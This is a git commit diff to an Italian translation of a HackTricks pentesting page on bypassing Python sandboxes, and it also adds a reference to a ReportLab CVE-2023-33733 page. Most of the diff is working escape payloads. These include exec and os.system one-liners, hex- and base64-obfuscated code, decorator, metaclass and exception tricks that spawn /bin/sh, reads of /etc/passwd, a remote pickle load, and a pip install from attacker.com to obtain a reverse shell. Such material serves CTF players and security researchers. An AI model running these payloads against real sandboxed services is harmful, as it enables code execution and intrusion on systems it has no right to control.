mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/django.md',
This commit is contained in:
parent
58be720e82
commit
be7d5f65e8
@ -70,6 +70,7 @@
|
||||
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Questi sono alcuni trucchi per bypassare le protezioni delle sandbox Python ed eseguire comandi arbitrari.
|
||||
Questi sono alcuni trucchi per bypassare le protezioni sandbox di python ed eseguire comandi arbitrari.
|
||||
|
||||
## Librerie di Esecuzione Comandi
|
||||
## Librerie per l'esecuzione di comandi
|
||||
|
||||
La prima cosa che devi sapere è se puoi eseguire direttamente codice con qualche libreria già importata, o se puoi importare una di queste librerie:
|
||||
La prima cosa che devi sapere è se puoi eseguire codice direttamente con qualche libreria già importata, o se puoi importare una di queste librerie:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della sandbox python e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
|
||||
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della python sandbox e per **scrivere del codice** che potresti **eseguire** per effettuare un bypass della sandbox.
|
||||
|
||||
> [!CAUTION] > La funzione **input()** di **Python2** consente di eseguire codice python prima che il programma si arresti.
|
||||
> [!CAUTION] > **Python2 input()** function permette di eseguire codice python prima che il programma si interrompa.
|
||||
|
||||
Python cerca di **caricare le librerie dalla directory corrente per prima** (il seguente comando stamperà da dove python sta caricando i moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python cerca di **caricare le librerie dalla directory corrente prima** (il comando seguente stamperà da dove python carica i moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypassare la sandbox pickle con i pacchetti python installati di default
|
||||
## Bypass pickle sandbox con i pacchetti python preinstallati
|
||||
|
||||
### Pacchetti di default
|
||||
### Pacchetti preinstallati
|
||||
|
||||
Puoi trovare un **elenco dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Nota che da un pickle puoi far sì che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
|
||||
Ad esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
|
||||
Puoi trovare una **lista dei pacchetti preinstallati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Nota che da un pickle puoi far sì che il python env **import arbitrary libraries** installate nel sistema.\
|
||||
Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per utilizzarla:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Per ulteriori informazioni su come funziona pickle, controlla questo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Per maggiori informazioni su come funziona pickle, consulta: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pacchetto Pip
|
||||
### Pacchetto pip
|
||||
|
||||
Trucco condiviso da **@isHaacK**
|
||||
|
||||
Se hai accesso a `pip` o `pip.main()`, puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
|
||||
Se hai accesso a `pip` o a `pip.main()` puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
|
||||
Puoi scaricare il package per creare la reverse shell qui. Nota che, prima di usarlo dovresti **decomprimerlo, modificare il `setup.py`, e inserire il tuo IP per la reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
|
||||
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
|
||||
> Nota che `exec` permette stringhe multilinea e ";" , ma `eval` no (check walrus operator)
|
||||
|
||||
Se alcuni caratteri sono vietati, puoi utilizzare la **rappresentazione hex/octal/B64** per **bypassare** la restrizione:
|
||||
Se alcuni caratteri sono proibiti puoi usare la rappresentazione **hex/octal/B64** per **bypass** la restrizione:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Altre librerie che consentono di valutare il codice python
|
||||
### Altre librerie che permettono di eval codice python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
## Operatori e trucchi brevi
|
||||
Vedi anche un reale sandboxed evaluator escape nei generatori di PDF:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] valutazione delle espressioni → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system da attributi valutati (per esempio, colore del font) e restituisce un valore valido per mantenere stabile il rendering.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## Operatori e trucchi rapidi
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Bypassare le protezioni attraverso le codifiche (UTF-7)
|
||||
## Bypassare le protezioni tramite codifiche (UTF-7)
|
||||
|
||||
In [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene usato per caricare ed eseguire codice python arbitrario all'interno di una apparente sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -148,11 +156,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
È anche possibile bypassarlo utilizzando altre codifiche, ad esempio `raw_unicode_escape` e `unicode_escape`.
|
||||
È anche possibile bypassarlo usando altre codifiche, ad es. `raw_unicode_escape` e `unicode_escape`.
|
||||
|
||||
## Esecuzione di Python senza chiamate
|
||||
## Esecuzione Python senza chiamate
|
||||
|
||||
Se sei all'interno di una prigione python che **non ti consente di effettuare chiamate**, ci sono ancora alcuni modi per **eseguire funzioni, codice** e **comandi arbitrari**.
|
||||
Se ti trovi all'interno di una python jail che **non ti permette di effettuare chiamate**, ci sono comunque modi per **eseguire funzioni arbitrarie, codice** e **comandi**.
|
||||
|
||||
### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -176,13 +184,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE creando oggetti e sovraccarico
|
||||
### RCE creating objects and overloading
|
||||
|
||||
Se puoi **dichiarare una classe** e **creare un oggetto** di quella classe, potresti **scrivere/sovrascrivere diversi metodi** che possono essere **attivati** **senza** **necessità di chiamarli direttamente**.
|
||||
Se puoi **declare a class** e **create an object** di quella classe, puoi **write/overwrite different methods** che possono essere **triggered** senza doverle chiamare direttamente.
|
||||
|
||||
#### RCE con classi personalizzate
|
||||
#### RCE with custom classes
|
||||
|
||||
Puoi modificare alcuni **metodi di classe** (_sovrascrivendo metodi di classe esistenti o creando una nuova classe_) per farli **eseguire codice arbitrario** quando **attivati** senza chiamarli direttamente.
|
||||
Puoi modificare alcuni **class methods** (_by overwriting existing class methods or creating a new class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Creazione di oggetti con [metaclassi](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Creare oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
La cosa fondamentale che le metaclassi ci permettono di fare è **creare un'istanza di una classe, senza chiamare direttamente il costruttore**, creando una nuova classe con la classe target come metaclasse.
|
||||
La cosa fondamentale che le metaclasses ci permettono di fare è **creare un'istanza di una class, senza chiamare direttamente il constructor**, creando una nuova class con la target class come metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Creazione di oggetti con eccezioni
|
||||
#### Creare oggetti con le eccezioni
|
||||
|
||||
Quando viene **attivata un'eccezione**, un oggetto di **Exception** viene **creato** senza che tu debba chiamare direttamente il costruttore (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Quando un'**eccezione viene sollevata** un oggetto di **Exception** viene **creato** senza che tu debba chiamare il costruttore direttamente (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -271,7 +279,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
### Maggiore RCE
|
||||
### Altre RCE
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||
@ -293,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Leggi il file con l'aiuto e la licenza dei builtins
|
||||
### Leggi file con builtins help & license
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -304,20 +312,20 @@ pass
|
||||
```
|
||||
## Builtins
|
||||
|
||||
- [**Funzioni builtins di python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Funzioni builtins di python3**](https://docs.python.org/3/library/functions.html)
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che potresti anche usare qui un'altra rappresentazione di stringa mostrata nell'ultima sezione):
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che qui puoi anche usare altre rappresentazioni stringa mostrate nell'ultima sezione):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
### Senza Builtins
|
||||
|
||||
Quando non hai `__builtins__` non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Tuttavia, **per impostazione predefinita, python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere accessibili per ottenere anche **l'esecuzione di codice arbitrario**.
|
||||
Tuttavia, **di default python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi stanno **anche importando funzionalità pericolose** al loro interno che possono essere sfruttate per ottenere anche **arbitrary code execution**.
|
||||
|
||||
Negli esempi seguenti puoi osservare come **abuse** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
Negli esempi seguenti puoi osservare come **abusare** alcuni di questi "**benign**" moduli caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Di seguito c'è una funzione più grande**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
|
||||
|
||||
#### Python2 e Python3
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Payloads built-in
|
||||
### Builtins payloads
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals e locals
|
||||
## Globals and locals
|
||||
|
||||
Controllare i **`globals`** e **`locals`** è un buon modo per sapere a cosa puoi accedere.
|
||||
Controllare le **`globals`** e le **`locals`** è un buon modo per sapere a cosa puoi accedere.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -401,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Di seguito c'è una funzione più grande**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
|
||||
## Scoprire Esecuzione Arbitraria
|
||||
## Scoprire l'esecuzione arbitraria
|
||||
|
||||
Qui voglio spiegare come scoprire facilmente **funzionalità più pericolose caricate** e proporre exploit più affidabili.
|
||||
|
||||
#### Accesso a sottoclassi con bypass
|
||||
#### Accesso alle subclasses con bypasses
|
||||
|
||||
Una delle parti più sensibili di questa tecnica è essere in grado di **accedere alle sottoclassi di base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
|
||||
Una delle parti più sensibili di questa tecnica è poter **accedere alle subclasses di base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Trovare librerie pericolose caricate
|
||||
### Individuare librerie pericolose caricate
|
||||
|
||||
Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato sys al loro interno**:
|
||||
Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato `sys` al loro interno**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Ci sono molti, e **ne abbiamo solo bisogno di uno** per eseguire comandi:
|
||||
Ce ne sono molti, e **ce ne serve solo uno** per eseguire comandi:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere utilizzate per **eseguire comandi**:
|
||||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere usate per **eseguire comandi**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -483,7 +491,7 @@ Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Inoltre, potremmo anche cercare quali moduli stanno caricando librerie dannose:
|
||||
Inoltre, potremmo anche cercare quali modules stanno caricando malicious libraries:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Inoltre, se pensi che **altre librerie** possano **invochare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle possibili librerie:
|
||||
Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle possibili librerie:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -535,10 +543,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, 